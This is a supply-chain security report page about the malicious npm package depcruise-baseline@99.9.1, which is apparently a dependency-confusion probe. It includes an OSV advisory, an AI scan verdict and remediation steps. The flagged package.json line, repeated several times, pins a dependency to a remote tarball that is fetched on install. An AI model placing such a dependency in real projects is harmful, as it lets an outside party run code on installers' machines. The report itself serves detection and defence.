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depcruise-baseline

This report shows the evidence for depcruise-baseline@99.9.1. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 2mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-14053 confirms this npm version as malicious.

Advisory

MAL-2026-14053

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in depcruise-baseline (npm)

Details

depcruise-baseline@99.9.1 has a name resembling dependency-cruiser/depcruise but ships an empty index.js and declares its sole runtime dependency as a direct https:// tarball URL rather than a registry package: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz". On npm install, npm downloads and installs that tarball as a transitive dependency, so whoever controls the ltidi.storage.googleapis.com bucket controls arbitrary code that runs on the installer via that dependency's require graph and lifecycle hooks. The package has no functional code of its own; its only effect is to pull code from an author-controlled, out-of-registry location into the installer's dependency tree. ## Source: ossf-package-analysis (446d5f8b4c581782feffc22437e24c36313ac56e648162a5f80e21eee9e9f083) The OpenSSF Package Analysis project identified 'depcruise-baseline' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The package is inert but functions as a remote dependency carrier. The external tarball is an unresolved supply-chain risk rather than confirmed malicious behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install depcruise-baseline@99.9.1

Impact

Remote dependency code may execute during dependency installation or use; no direct payload is present in this package.

Mechanism

remote tarball dependency fetch

AI rationale

The package is inert but functions as a remote dependency carrier. The external tarball is an unresolved supply-chain risk rather than confirmed malicious behavior.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz

Independent scan evidence

public snapshot

AI called this Suspicious at 76.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for AI warning decision

package.json pins ltidisafe to an external tarball URL, making install depend on mutable remote package content.

Evidence against

No preinstall, install, or postinstall scripts are declared.
index.js only exports an empty object; no runtime behavior is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

2 flagged

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz" }

High

Ai Review Evidence

package.json pins ltidisafe to an external tarball URL, making install depend on mutable remote package content.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz" }

High

Ai Review Evidence

package.json pins ltidisafe to an external tarball URL, making install depend on mutable remote package content.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighAi Review Evidencepackage.json

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to depcruise-baseline@99.9.1.

The versions list below shows the verdict for each recorded version.

Avoid installing depcruise-baseline@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-16 09:28:28.507Z (UTC).

Source advisory published: 2026-08-15 14:35:33.000Z (UTC).

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Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 18, 2026, 4:18 PM 99.9.1shownMaliciousMalwareBlockPublishedAug 15, 2026, 2:31 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

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